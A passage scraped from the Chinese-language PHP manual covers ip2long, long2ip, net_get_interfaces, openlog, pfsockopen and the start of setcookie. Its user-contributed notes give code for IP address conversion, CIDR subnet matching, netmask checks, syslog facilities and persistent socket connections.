This looks idiotic, but it gives you a consistent signed integer value on all platforms.

(the arguments to both pack() and unpack() are the lower-case letter "L", not the number "1", in case it looks that way on your screen...)
admin at wudimei dot com 04-Jul-2012 02:42
<?php

/**
  *
  *get the first ip and last ip from cidr(network id and mask length)
  * i will integrate this function into "Rong Framework" :)
  * @author admin@wudimei.com
  * @param string $cidr 56.15.0.6/16 , [network id]/[mask length]
  * @return array $ipArray = array( 0 =>"first ip of the network", 1=>"last ip of the network" );
  *                         Each element of $ipArray's type is long int,use long2ip( $ipArray[0] ) to convert it into ip string.
  * example:
  * list( $long_startIp , $long_endIp) = getIpRange( "56.15.0.6/16" );
  * echo "start ip:" . long2ip( $long_startIp );
  * echo "<br />";
  * echo "end ip:" . long2ip( $long_endIp );
  */

  function getIpRang(  $cidr) {

   list($ip, $mask) = explode('/', $cidr);

   $maskBinStr =str_repeat("1", $mask ) . str_repeat("0", 32-$mask );      //net mask binary string
   $inverseMaskBinStr = str_repeat("0", $mask ) . str_repeat("1",  32-$mask ); //inverse mask

   $ipLong = ip2long( $ip );
   $ipMaskLong = bindec( $maskBinStr );
   $inverseIpMaskLong = bindec( $inverseMaskBinStr );
   $netWork = $ipLong & $ipMaskLong;

   $start = $netWork+1;//去掉网络号 ,ignore network ID(eg: 192.168.1.0)

   $end = ($netWork | $inverseIpMaskLong) -1 ; //去掉广播地址 ignore brocast IP(eg: 192.168.1.255)
   return array( $start, $end );
}
?>
replay111 at tlen dot pl 26-May-2012 01:28
Hi,
based on examples above I have mixed class IPFilter with netMatch function wich gives me complete class for IP4 check including CIDR IP format:

<?php
class IP4Filter {

    private static $_IP_TYPE_SINGLE = 'single';
    private static $_IP_TYPE_WILDCARD = 'wildcard';
    private static $_IP_TYPE_MASK = 'mask';
    private static $_IP_TYPE_CIDR = 'CIDR';
    private static $_IP_TYPE_SECTION = 'section';
    private $_allowed_ips = array();

    public function __construct($allowed_ips) {
        $this->_allowed_ips = $allowed_ips;
    }

    public function check($ip, $allowed_ips = null) {
        $allowed_ips = $allowed_ips ? $allowed_ips : $this->_allowed_ips;

        foreach ($allowed_ips as $allowed_ip) {
            $type = $this->_judge_ip_type($allowed_ip);
            $sub_rst = call_user_func(array($this, '_sub_checker_' . $type), $allowed_ip, $ip);

            if ($sub_rst) {
                return true;
            }
        }

        return false;
    }

    private function _judge_ip_type($ip) {
        if (strpos($ip, '*')) {
            return self :: $_IP_TYPE_WILDCARD;
        }

        if (strpos($ip, '/')) {
            $tmp = explode('/', $ip);
            if (strpos($tmp[1], '.')) {
                return self :: $_IP_TYPE_MASK;
            } else {
                return self :: $_IP_TYPE_CIDR;
            }
        }

        if (strpos($ip, '-')) {
            return self :: $_IP_TYPE_SECTION;
        }

        if (ip2long($ip)) {
            return self :: $_IP_TYPE_SINGLE;
        }

        return false;
    }

    private function _sub_checker_single($allowed_ip, $ip) {
        return (ip2long($allowed_ip) == ip2long($ip));
    }

    private function _sub_checker_wildcard($allowed_ip, $ip) {
        $allowed_ip_arr = explode('.', $allowed_ip);
        $ip_arr = explode('.', $ip);
        for ($i = 0; $i < count($allowed_ip_arr); $i++) {
            if ($allowed_ip_arr[$i] == '*') {
                return true;
            } else {
                if (false == ($allowed_ip_arr[$i] == $ip_arr[$i])) {
                    return false;
                }
            }
        }
    }

    private function _sub_checker_mask($allowed_ip, $ip) {
        list($allowed_ip_ip, $allowed_ip_mask) = explode('/', $allowed_ip);
        $begin = (ip2long($allowed_ip_ip) & ip2long($allowed_ip_mask)) + 1;
        $end = (ip2long($allowed_ip_ip) | (~ ip2long($allowed_ip_mask))) + 1;
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }

    private function _sub_checker_section($allowed_ip, $ip) {
        list($begin, $end) = explode('-', $allowed_ip);
        $begin = ip2long($begin);
        $end = ip2long($end);
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }

    private function _sub_checker_CIDR($CIDR, $IP) {
        list ($net, $mask) = explode('/', $CIDR);
        return ( ip2long($IP) & ~((1 << (32 - $mask)) - 1) ) == ip2long($net);
    }

}
?>

For me this code works great, so I wanna thank to all You guys!!!
Aleksey Kuznetsov 07-May-2012 05:30
Unfortunately sprintf('%u', ...) is low and returns string representation of integer value instead of integer.
Here is a function I use to convert IP to mySQL-compatible signed integer:

function ip2int($ip) {
  if (!$r = ip2long($ip)) return 0; // we want 0 instead of false, even in case of bad IP
  if ($r > 2147483647)
      $r-= 4294967296;
  return $r; // ok
}
pink at pink dot art dot pl 26-Apr-2012 01:09
Be aware when you're running 64bit system, ip2long will result 64 bit integer which doesn't fit in MySQL INT, you can use BIGINT or INT UNSIGNED because on 64bit systems ip2long will never return negative integer. See also https://bugs.php.net/bug.php?id=54338
PandoraBox2007 at gmail dot com 03-Dec-2011 07:06
Universal ip4/ip6

<?php
// encoded --
function encode_ip ($ip)
{
    $d = explode('.', $ip);
    if (count($d) == 4) return sprintf('%02x%02x%02x%02x', $d[0], $d[1], $d[2], $d[3]);

    $d = explode(':', preg_replace('/(^:)|(:$)/', '', $ip));
    $res = '';
    foreach ($d as $x)
        $res .= sprintf('%0'. ($x == '' ? (9 - count($d)) * 4 : 4) .'s', $x);
    return $res;
}

// decoded
function decode_ip($int_ip)
{
    function hexhex($value) { return dechex(hexdec($value)); };

    if (strlen($int_ip) == 32) {
        $int_ip = substr(chunk_split($int_ip, 4, ':'), 0, 39);
        $int_ip = ':'. implode(':', array_map("hexhex", explode(':',$int_ip))) .':';
        preg_match_all("/(:0)+/", $int_ip, $zeros);
        if (count($zeros[0]) > 0) {
            $match = '';
            foreach($zeros[0] as $zero)
                if (strlen($zero) > strlen($match))
                    $match = $zero;
            $int_ip = preg_replace('/'. $match .'/', ':', $int_ip, 1);
        }
        return preg_replace('/(^:([^:]))|(([^:]):$)/', '$2$4', $int_ip);
    }
    $hexipbang = explode('.', chunk_split($int_ip, 2, '.'));
    return hexdec($hexipbang[0]). '.' . hexdec($hexipbang[1]) . '.' . hexdec($hexipbang[2]) . '.' . hexdec($hexipbang[3]);
}
?>

DB:
`user_ip` varchar(32) DEFAULT NULL
joe at joeceresini dot com 24-Nov-2009 05:45
A quick method to convert a netmask (ex: 255.255.255.240) to a cidr mask (ex: /28):

<?php
function mask2cidr($mask){
  $long = ip2long($mask);
  $base = ip2long('255.255.255.255');
  return 32-log(($long ^ $base)+1,2);

  /* xor-ing will give you the inverse mask,
      log base 2 of that +1 will return the number
      of bits that are off in the mask and subtracting
      from 32 gets you the cidr notation */

}
?>
f dot wiessner at smart-weblications dot net 07-Nov-2009 06:12
Here some working ip2long6 and long2ip6 functions - keep in mind that this needs php gmp-lib:

<?php

$ipv6 = "2001:4860:a005::68";

function ip2long6($ipv6) {
  $ip_n = inet_pton($ipv6);
  $bits = 15; // 16 x 8 bit = 128bit
  while ($bits >= 0) {
    $bin = sprintf("%08b",(ord($ip_n[$bits])));
    $ipv6long = $bin.$ipv6long;
    $bits--;
  }
  return gmp_strval(gmp_init($ipv6long,2),10);
}

function long2ip6($ipv6long) {

  $bin = gmp_strval(gmp_init($ipv6long,10),2);
  if (strlen($bin) < 128) {
    $pad = 128 - strlen($bin);
    for ($i = 1; $i <= $pad; $i++) {
    $bin = "0".$bin;
    }
  }
  $bits = 0;
  while ($bits <= 7) {
    $bin_part = substr($bin,($bits*16),16);
    $ipv6 .= dechex(bindec($bin_part)).":";
    $bits++;
  }
  // compress

  return inet_ntop(inet_pton(substr($ipv6,0,-1)));
}

print $ipv6long =  ip2long6($ipv6)."\n";
print $ipv6 = long2ip6($ipv6long)."\n";

?>

outputs:

42541956150894553250710573749450571880
2001:4860:a005::68
david dot schueler at tel-billig dot de 27-Oct-2009 06:41
To get the network adress out of the broadcast adress and netmask just to an AND on it:

<?php
// simple example
$bcast = ip2long("192.168.178.255");
$smask = ip2long("255.255.255.0");
$nmask = $bcast & $smask;
echo long2ip($nmask); // Will give 192.168.178.0
?>

With this example you are able to check if a given host is in your own local net or not (on linux):

<?php
/**
 * Check if a client IP is in our Server subnet
 *
 * @param string $client_ip
 * @param string $server_ip
 * @return boolean
 */
function clientInSameSubnet($client_ip=false,$server_ip=false) {
    if (!$client_ip)
        $client_ip = $_SERVER['REMOTE_ADDR'];
    if (!$server_ip)
        $server_ip = $_SERVER['SERVER_ADDR'];
    // Extract broadcast and netmask from ifconfig
    if (!($p = popen("ifconfig","r"))) return false;
    $out = "";
    while(!feof($p))
        $out .= fread($p,1024);
    fclose($p);
    // This is because the php.net comment function does not
    // allow long lines.
    $match  = "/^.*".$server_ip;
    $match .= ".*Bcast:(\d{1,3}\.\d{1,3}i\.\d{1,3}\.\d{1,3}).*";
    $match .= "Mask:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/im";
    if (!preg_match($match,$out,$regs))
        return false;
    $bcast = ip2long($regs[1]);
    $smask = ip2long($regs[2]);
    $ipadr = ip2long($client_ip);
    $nmask = $bcast & $smask;
    return (($ipadr & $smask) == ($nmask & $smask));
}
?>
jwadhams1 at yahoo dot com 28-Jul-2009 03:41
I wanted to build on what kaputt and spinyn contributed in a way that I think is a little more intuitive (e.g., let sprintf do all the binary conversion and padding, and let substr_compare do the trimming and comparing):

<?php
function ip_in_network($ip, $net_addr, $net_mask){
    if($net_mask <= 0){ return false; }
        $ip_binary_string = sprintf("%032b",ip2long($ip));
        $net_binary_string = sprintf("%032b",ip2long($net_addr));
        return (substr_compare($ip_binary_string,$net_binary_string,0,$net_mask) === 0);
}

ip_in_network("192.168.2.1","192.168.2.0",24); //true
ip_in_network("192.168.6.93","192.168.0.0",16); //true
ip_in_network("1.6.6.6","128.168.2.0",1); //false
?>
spinyn at gmail dot com 16-Apr-2009 07:51
Just want to add a comment to kaputt's valuable contribution to the task of matching hosts to ip ranges, efficiently.  The script works fine if the binary representation of the ip involves no leading zeros.  Unfortunately, the way decbin() seems to work, leading zeros in the binary representation of the first ip quad get dropped.  That is a serious matter if you're trying to match all possible candidates in the checklist.  In those cases the leading zeros need to be added back to get accurate matches for values in the first quad between 0-127 (or the binary equivalent, 0-01111111).

The solution I came up with to address this issue was the following function:

<?php
function addLeadingZero($ip) {
   if (($result = (32 - strlen($ip))) > 0)
      return str_repeat("0", $result).$ip;
}
?>
chrisp-phpnet at inventivedingo dot com 30-May-2008 07:36
I had a problem with calling this function with REMOTE_ADDR on my lighttpd web server. Turned out that IPv6 was installed on this server, so even though REMOTE_ADDR was an IPv4 address, it was being formatted using IPv6's IPv4 compatibility mode. For example, 10.0.0.1 was becoming ::ffff:10.0.0.1, which caused iplong to report the address as invalid instead of parsing it correctly.

The correct fix would of course be to update my infrastructure so that it's properly IPv6-compatible; but in the context of my particular situation, this would involve a lot of re-engineering. So in the meantime, I worked around the issue using this quick and dirty hack:

<?php
    $ip = htmlspecialchars($_SERVER['REMOTE_ADDR']);
    if (strpos($ip, '::') === 0) {
        $ip = substr($ip, strrpos($ip, ':')+1);
    }
    $host = ip2long($ip);
?>

Ugly but functional.
jpmarcotte at gmail dot com 20-May-2008 03:10
In using a combination of jbothe's code below and some of the "$mask = 0xFFFFFFFF << (32 - $bits)" type code, I ran into an error with some later calculations on a 64 bit machine.

Keep in mind that when you're analyzing numbers meant to be treated as 32 bits wide (such as IP addresses), you may want to truncate them. Without relying on other libraries, it was simple enough to follow any calculations that may end with different results on a 64 bit machine with " & 0xFFFFFFFF"

Though in many cases, it seems like it might be simpler to just use "~0 << ..." for initial shifting to create the network mask instead of "0xFFFFFFFF << ...". I don't know that it guarantees further operations to work as expected though.
php dot net at kenman dot net 01-Apr-2008 10:02
To nate, who advises that there is no reason to use an unsigned version of the IP in a MySQL DB:

I think it would depend on your application, but personally, I find it useful to store IP's as unsigneds since MySQL has 2 native functions, INET_ATON() and INET_NTOA(), which work the same as ip2long()/long2ip() _except_ that they generate the unsigned counterpart. So if you want, you could do:

-- IANA Class-B reserved/private
SELECT * FROM `servers`
WHERE `ip` >= INET_ATON('192.168.0.0')
AND `ip` <= INET_ATON('192.168.255.255');

In my current application, I find it easier to use the MySQL built-ins than the PHP counter-parts.

In case you're curious as to the names ATON and NTOA:

ATON = address to number aka. ip2long
NTOA = number to address aka. long2ip
ir on ir id is at gm ai ld ot co m 20-Oct-2007 11:54
Keep in mind that storing IP addresses inside of your database as integers (rather than 15 character strings in decimal format, or 8 character strings in hex format) is hundreds of times faster.

Take the typical case of a MySQL database doing a search for an IP address on thousands (or millions!) of rows; you're either doing a string compare for each entry, or an integer equation. If you do your indexes correctly, your lookups should be literally 100x faster using an INT rather than a VARCHAR.

Also note that an integer doesn't need to be escaped when passed to a database. :)
one tiger one at gee mail dot comm 02-Apr-2007 07:49
I wrote a small function to validate a netmask (We have a form where the netmask of a given server is entered in, and I wanted to make sure it was valid). Hope this is useful.

<?php
// Netmask Validator //
function checkNetmask($ip) {
 if (!ip2long($ip)) {
  return false;
 } elseif(strlen(decbin(ip2long($ip))) != 32 && ip2long($ip) != 0) {
  return false;
 } elseif(ereg('01',decbin(ip2long($ip))) || !ereg('0',decbin(ip2long($ip)))) {
  return false;
 } else {
  return true;
 }
}
?>
laacz at php dot net 16-Feb-2007 01:06
Just to save you some time.

Beware that octets in IP address are being treated as numbers. So, '10.0.0.11' is not equal to '10.0.0.011'. '011' is octal number (base 8), so it converts to '9'. You can even go further and see that '10.0.0.0xa' also works (equals to '10.0.0.16').

This is not PHP issue, though.
Ian B 24-Dec-2006 04:22
NOTE: ip2long() should NOT be used for CIDR calculation.
Instead, you should use something like the following:

<?php
        /* get the base and the bits from the ban in the database */
        list($base, $bits) = explode('/', $CIDR);

        /* now split it up into it's classes */
        list($a, $b, $c, $d) = explode('.', $base);

        /* now do some bit shfiting/switching to convert to ints */
        $i = ($a << 24) + ($b << 16) + ($c << 8) + $d;
        $mask = $bits == 0 ? 0 : (~0 << (32 - $bits));

        /* here's our lowest int */
        $low = $i & $mask;

        /* here's our highest int */
        $high = $i | (~$mask & 0xFFFFFFFF);

        /* now split the ip were checking against up into classes */
        list($a, $b, $c, $d) = explode('.', $iptocheck);

        /* now convert the ip we're checking against to an int */
        $check = ($a << 24) + ($b << 16) + ($c << 8) + $d;

        /* if the ip is within the range, including
      highest/lowest values, then it's witin the CIDR range */
        if ($check >= $low && $check <= $high)
            return 1;
       else
            return 0;
?>

This means that you should check to see if the IP
address is of the correct format each time.
ken at expitrans dot com 31-Aug-2005 03:31
Below is a merged form of all various notes, and a better (and correct) network matching function.

<?php

function net_match($network, $ip) {
      // determines if a network in the form of 192.168.17.1/16 or
      // 127.0.0.1/255.255.255.255 or 10.0.0.1 matches a given ip
      $ip_arr = explode('/', $network);
      $network_long = ip2long($ip_arr[0]);

      $x = ip2long($ip_arr[1]);
      $mask =  long2ip($x) == $ip_arr[1] ? $x : 0xffffffff << (32 - $ip_arr[1]);
      $ip_long = ip2long($ip);

      // echo ">".$ip_arr[1]."> ".decbin($mask)."\n";
      return ($ip_long & $mask) == ($network_long & $mask);
}

echo net_match('192.168.17.1/16', '192.168.15.1')."\n"; // returns true
echo net_match('127.0.0.1/255.255.255.255', '127.0.0.2')."\n"; // returns false
echo net_match('10.0.0.1', '10.0.0.1')."\n"; // returns true

?>
01-Dec-2004 06:06
I re-wrote the functions from jbothe at hotmail dot com as a little exercise in OO and added a couple of extra functions.

<?php

 //--------------
// IPv4 class
class ipv4
{
  var $address;
  var $netbits;

   //--------------
  // Create new class
  function ipv4($address,$netbits)
  {
    $this->address = $address;
    $this->netbits = $netbits;
  }

   //--------------
  // Return the IP address
  function address() { return ($this->address); }

   //--------------
  // Return the netbits
  function netbits() { return ($this->netbits); }

   //--------------
  // Return the netmask
  function netmask()
  {
    return (long2ip(ip2long("255.255.255.255")
           << (32-$this->netbits)));
  }

   //--------------
  // Return the network that the address sits in
  function network()
  {
    return (long2ip((ip2long($this->address))
           & (ip2long($this->netmask()))));
  }

   //--------------
  // Return the broadcast that the address sits in
  function broadcast()
  {
    return (long2ip(ip2long($this->network())
           | (~(ip2long($this->netmask())))));
  }

   //--------------
  // Return the inverse mask of the netmask
  function inverse()
  {
    return (long2ip(~(ip2long("255.255.255.255")
           << (32-$this->netbits))));
  }

}

  $ip = new ipv4("192.168.2.1",24);
  print "Address: $ip->address()\n";
  print "Netbits: $ip->netbits()\n";
  print "Netmask: $ip->netmask()\n";
  print "Inverse: $ip->inverse()\n";
  print "Network: $ip->network()\n";
  print "Broadcast: $ip->broadcast()\n";
?>


将长整型转化为字符串形式带点的互联网标准格式地址（IPV4）

  • ? ip2long
  • net_get_interfaces ?
  • PHP Manual
  • 网络 函数
  • 将长整型转化为字符串形式带点的互联网标准格式地址（IPV4）

long2ip

(PHP 4, PHP 5, PHP 7, PHP 8)

long2ip — 将长整型转化为字符串形式带点的互联网标准格式地址（IPV4）

说明

long2ip(int $ip): string|false

long2ip() 函数通过长整型的表达形式转化生成带点格式的互联网地址（例如：aaa.bbb.ccc.ddd ）。

参数

ip

合格的地址，长整型的表达形式。

返回值

返回字符串的互联网 IP 地址， 或者在失败时返回 false。

更新日志

版本 | 说明
7.1.0 | 参数 ip 的类型从 string 改成 int。

注释

Note:

在 32 位架构中，从 string 转换 int 整型形式的 ip 地址将有可能导致错误的结果，因为结果数字超出了 PHP_INT_MAX 限制。

参见

  • ip2long() - 将 IPV4 的字符串互联网协议转换成长整型数字

User Contributed Notes

Rolf 02-Apr-2021 03:53
an Anonymous wrote several years ago that you should cast the parameter to float to make sure that you get the right result on 32-bit machines. That probably never worked.

But the idea is on a good track: to convert a bitstring into an ip, use

$ip = long2ip((int)bindec($bits));

This works on 32- and 64-bit machines.
steve at computurn dot com 30-Oct-2018 01:38
For a 32bit safe long2ip, which can accept string or signed integer input, try:

  function safelong2ip($long) {
    $binStr = sprintf("%032s", decbin((float)$long));
    if (strlen($binStr) != 32) {
      throw new Exception("Invalid IPv4 subnet!");
    }

    $ipArr = [];
    for ($i = 0; $i < 4; ++$i) {
      $ipArr[] = bindec(substr($binStr, $i*8, 8));
    }

    return implode('.', $ipArr);
  }
klawd at kamundo dot de 25-Jan-2012 10:34
Use these two functions to convert from and to numbers compatible to MySQLs INET_ATON and INET_NTOA
<?php
    function convertIpToString($ip)
    {
        $long = 4294967295 - ($ip - 1);
        return long2ip(-$long);
    }
    function convertIpToLong($ip)
    {
        return sprintf("%u", ip2long($ip));
    }
?>
Anonymous 05-Aug-2011 09:38
If you're running a 32 bit machine you can get wrong IPs. To prevent from this just cast to float e.g.

<?php
long2Ip32bit($ip){
   return long2ip((float)$ip);
}
?>
php dot net at davidstockton dot com 03-Sep-2008 10:28
Beware when processing values that are invalid, you may get values that are different based on the OS.  For instance:

$ip = long2ip(pow(2,32)+1024);

On windows you get 255.255.255.255.  On linux it's 0.0.4.0.

So it seems it would be important to make sure the long you're converting is in the correct range.
Gabriel Malca 17-Mar-2006 05:01
If the function doesn't exist:

<?
    if (!function_exists("long2ip")) {
        function long2ip($long) {
            // Valid range: 0.0.0.0 -> 255.255.255.255
            if ($long < 0 || $long > 4294967295) return false;
            $ip = "";
            for ($i=3;$i>=0;$i--) {
                $ip .= (int)($long / pow(256,$i));
                $long -= (int)($long / pow(256,$i))*pow(256,$i);
                if ($i>0) $ip .= ".";
            }
            return $ip;
        }
    }
?>
Tom Crosley 16-Feb-2003 01:13
I wanted to be able to pass an IP address in a URL always as an unsigned int.  I then converted it back as shown below:

$ip_addr = "192.168.100.25";  // example IP address that converts to neg #

$s32int = ip2long($ip_addr);

$us32str = sprintf("%u",$s32int);               // convert to unsigned string

// display orig IP address, signed 32 bit version, unsigned 32 bit ver,
// finally converted back to IP addr

printf("%s ,%d, %s, %s", $ip_addr, $s32int, $us32str,
         long2ip(-(4294967296-$us32str)));

// tested on Linux/Apache PHP 4.1.2


获取网络接口

  • ? long2ip
  • openlog ?
  • PHP Manual
  • 网络 函数
  • 获取网络接口

net_get_interfaces

(PHP 7 >= 7.3, PHP 8)

net_get_interfaces — 获取网络接口

说明

net_get_interfaces(): array|false

返回本地机器上的网络接口（适配器）的列举。

参数

此函数没有参数。

返回值

返回一个关联 array，其中 key 是接口的名称，value 是一个接口属性的关联数组。 或者在失败时返回 false。

每个接口关联数组包含：

接口属性
名字 | 说明
描述 | 用于描述接口的可选字符串值。 仅限 Windows。
mac | 接口的 MAC 地址的可选字符串值。 仅限 Windows。
mtu | 接口的最大传输单位（MTU）的整数值。 仅限 Windows。
unicast | 关联数组，见下面的单播属性。
up | 接口的布尔状态（开/关）。

单播属性
名字 | 说明
flags | 整数值。
family | 整数值。
address | IPv4 或 IPv6 中的地址的字符串值。
netmask | IPv4 或 IPv6 中的网络掩码的字符串值。

错误／异常

在获取接口信息失败时会抛出 E_WARNING。

User Contributed Notes

Anonymous 01-Jan-2022 10:00
The 'unicast' might also contain the 'broadcast' attribute, which is not listed above. Tested on linux with PHP 8.


Open connection to system logger

  • ? net_get_interfaces
  • pfsockopen ?
  • PHP Manual
  • 网络 函数
  • Open connection to system logger

openlog

(PHP 4, PHP 5, PHP 7, PHP 8)

openlog — Open connection to system logger

说明

openlog(string $prefix, int $flags, int $facility): bool

openlog() opens a connection to the system logger for a program.

The use of openlog() is optional. It will automatically be called by syslog() if necessary, in which case prefix will default to false.

参数

prefix

The string prefix is added to each message.

flags

The flags argument is used to indicate what logging options will be used when generating a log message.

openlog() Options
Constant | Description
LOG_CONS | if there is an error while sending data to the system logger, write directly to the system console
LOG_NDELAY | open the connection to the logger immediately
LOG_ODELAY | (default) delay opening the connection until the first message is logged
LOG_PERROR | print log message also to standard error
LOG_PID | include PID with each message
You can use one or more of these options. When using multiple options you need to OR them, i.e. to open the connection immediately, write to the console and include the PID in each message, you will use: LOG_CONS | LOG_NDELAY | LOG_PID

facility

The facility argument is used to specify what type of program is logging the message. This allows you to specify (in your machine's syslog configuration) how messages coming from different facilities will be handled.

openlog() Facilities
Constant | Description
LOG_AUTH | security/authorization messages (use LOG_AUTHPRIV instead in systems where that constant is defined)
LOG_AUTHPRIV | security/authorization messages (private)
LOG_CRON | clock daemon (cron and at)
LOG_DAEMON | other system daemons
LOG_KERN | kernel messages
LOG_LOCAL0 ... LOG_LOCAL7 | reserved for local use, these are not available in Windows
LOG_LPR | line printer subsystem
LOG_MAIL | mail subsystem
LOG_NEWS | USENET news subsystem
LOG_SYSLOG | messages generated internally by syslogd
LOG_USER | generic user-level messages
LOG_UUCP | UUCP subsystem

Note:

LOG_USER is the only valid log type under Windows operating systems

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • syslog() - Generate a system log message
  • closelog() - 关闭系统日志链接

User Contributed Notes

sam dot wankaner at gmail dot com 20-Jan-2015 07:15
In second parameter int $option, PI means Process ID (PID).
That is the unique number given to that process. For eg [30326]
Nimja 30-Jul-2013 11:07
To those curious; switching between different facilities is NOT an issue. There is no apparent memory overhead (nor slowdown) by calling openlog multiple(12 * 10000) times.

Shown by this example:

<?php
$facilities = array(
    LOG_AUTH,
    LOG_AUTHPRIV,
    LOG_CRON,
    LOG_DAEMON,
    LOG_KERN,
    LOG_LOCAL0,
    LOG_LPR,
    LOG_MAIL,
    LOG_NEWS,
    LOG_SYSLOG,
    LOG_USER,
    LOG_UUCP,
);

for ($i = 0; $i < 10000; $i++) {
    foreach ($facilities as $facility) {
        openlog('test', LOG_PID, $facility);
        syslog(LOG_ERR, "This is a test: " . memory_get_usage(true));
    }
}
?>


打开持久的 Internet 或 Unix 套接字连接

  • ? openlog
  • setcookie ?
  • PHP Manual
  • 网络 函数
  • 打开持久的 Internet 或 Unix 套接字连接

pfsockopen

(PHP 4, PHP 5, PHP 7, PHP 8)

pfsockopen — 打开持久的 Internet 或 Unix 套接字连接

说明

pfsockopen(
string $hostname,
int $port = -1,
int &$error_code = null,
string &$error_message = null,
?float $timeout = null
): resource|false

这个函数的作用与 fsockopen() 完全一样，不同的地方在于当在脚本执行完后，连接一直不会关闭。可以说它是 fsockopen() 的长连接版本。

参数

对于其参数的信息，请参考 fsockopen() 的文档。

返回值

pfsockopen() 返回文件指针，可以跟其他文件函数（比如
fgets()、fgetss()、fwrite()、fclose()
和 feof()）一起使用， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | timeout 现在可以为 null。

参见

  • fsockopen() - 打开 Internet 或者 Unix 套接字连接

User Contributed Notes

zuraw 06-Jun-2012 12:17
pfsockopen() works great on IIS/Windows7 installation, it keeps connection open which is good for performance. However, there is one caveat: when connection is broken because of physical net failure, pfsockopen() returns handle as if connection was working. Subsequent call to fwrite() returns false so you have information about error. The problem is that after physical net connection is restored the situation doesn't change: pfsockopen() still returns handle and fwrite() returns false. In other words, PHP sticks to old connection that is not working (if you use fsockopen() instead, it will connect properly). Situation goes back to normal after 30 minutes when PHP closes unused connection.
The solution to this problem is to call fclose() on socket handle when fwrite() returns false.
k dot andris at gmail dot com 11-Dec-2008 10:22
To see if it's really a new connection, or a reused one, you can use ftell() - and see if ther's been any traffic on the connection. If it's more than 0, then it's a reused connection.
ludvig dot ericson at gmail dot com 27-Jul-2007 07:38
Confusion arises as to when PHP starts a new connection using all the
"persistent" versions of any function, and this depends entirely on how you
run your PHP.

In real CGI mode, that is, one process per script, persistent functions do the
exact same as their "temporary" equivalents. If you have a threaded Apache
MPM, this persistence will open a connection per thread, but not immediately.
Think of it as a single PHP instance for each thread.

If you run prefork, the MPM that forks the Apache server into several
accept()ing subprocesses, you'll have one PHP instance per process.

This isn't always true as I might've missed some gotchas, but in general, do
know that a persistent can only try to be persistent.

As for grey at greywyvern dot moc: A cronjob would be a lot better suited
for this, and have it periodically update the index rather than request ~200
pages each time somebody searches, at least from what you describe it as.
bimal dot das at maxartists dot com 07-Jun-2006 11:22
Here is how to POST a form action to a SSL server's cgi and retrieve output with pfsockopen

<?php

$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);

# working vars
$host = 'www.example.com';
$service_uri = '/cgi-bin/processACT';
$vars ='code=22&act=TEST';

# compose HTTP request header
$header = "Host: $host\r\n";
$header .= "User-Agent: PHP Script\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".strlen($vars)."\r\n";
$header .= "Connection: close\r\n\r\n";

$fp = pfsockopen("ssl://".$host, 443, $errno, $errstr);
if (!$fp) {
   echo "$errstr ($errno)<br/>\n";
   echo $fp;
} else {
    fputs($fp, "POST $service_uri  HTTP/1.1\r\n");
    fputs($fp, $header.$vars);
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}

?>
pulstar at ig dot com dot br 23-Sep-2003 04:15
Persistent connections either in socket or databases should be used only in servers where the limits are well defined. For example, the number of allowed connections in a database must be greater than the number of Apache's processes, or the connections will be refused by the database (this will surely occur if you use persistent connections). The same may occur with socket connections. This is up to the service configuration. In my opinion, persistent connections are useful only if you have total control over the one or more servers involved, like on a heavy loaded dedicated server for example, where the little gain in performance worth the use of such connections. Never use them in a shared server.
php dot net at domainofdarkness dot com 29-Jan-2001 03:26
OK, WRT to the p* functions opening a new connection when one already exists. It is my understanting that (under Apache anyways) this is on a per-process basis. If you do a 'ps auxw|grep httpd' on your server you will see more than one process. What p* does is make a p-connection on one of those processes only, the one that actually handles your request. Chances are that when you hit the page again it will be answered by a different process. I'm guessing if you keep hitting reload you'll get around to the original process again and there will be no error message or second connection open. Anyhow, this is true of all p* functions; they open not one connection per server, but one connection per server _process_.


发送 Cookie

  • ? pfsockopen
  • setrawcookie ?
  • PHP Manual
  • 网络 函数
  • 发送 Cookie

setcookie

(PHP 4, PHP 5, PHP 7, PHP 8)

setcookie — 发送 Cookie

说明

setcookie(
string $name,
string $value = "",
int $expires_or_options = 0,
string $path = "",
string $domain = "",
bool $secure = false,
bool $httponly = false
): bool

自 PHP 7.3.0 起可用的替代签名（不支持命名参数）：

setcookie(string $name, string $value = "", array $options = []): bool

setcookie() 定义了 Cookie，会和剩下的消息头一起发送给客户端。和其他消息头一样，必须在脚本产生任意输出之前发送 Cookie（由于协议的限制）。请在产生任何输出之前（包括 <html> 和 <head> 或者空格）调用本函数。

一旦设置 Cookie 后，下次打开页面时可以使用 $_COOKIE 读取。Cookie 值同样也存在于 $_REQUEST。

参数

» RFC 6265 提供了 setcookie() 每个参数的参考标准。

name

Cookie 名称。

value

Cookie 值。这个值储存于用户的电脑里，请勿储存敏感信息。比如 name 是 'cookiename'，可通过 $_COOKIE['cookiename'] 获取它的值。

expires_or_options

Cookie 的过期时间。这是 Unix 时间戳，即纪元以来的秒数。一种设置此值的方式是将
cookie 过期前的秒数与调用 time()
的结果相加。例如，time()+60*60*24*30
就是设置 Cookie 30 天后过期。还有一种选择就是使用 mktime()
函数。如果设置为 0 或者忽略，Cookie 会在会话结束时过期（关掉浏览器时）。

Note:

可能会注意到，expires_or_options 使用 Unix 时间戳而非 Wdy, DD-Mon-YYYY HH:MM:SS GMT 这样的日期格式，是因为 PHP 内部作了转换。

path

Cookie 有效的服务器路径。设置成 '/' 时，Cookie 对整个域名 domain 有效。如果设置成 '/foo/'，Cookie 仅仅对 domain 中 /foo/ 目录及其子目录有效（比如 /foo/bar/）。默认值是设置 Cookie 时的当前目录。

domain

Cookie 的有效域名/子域名。设置成子域名（例如 'www.example.com'），会使 Cookie 对这个子域名和它的三级域名有效（例如 w2.www.example.com）。要让 Cookie 对整个域名有效（包括它的全部子域名），只要设置成域名就可以了（这个例子里是 'example.com'）。

旧版浏览器仍然在使用废弃的 » RFC 2109，需要一个前置的点 . 来匹配所有子域名。

secure

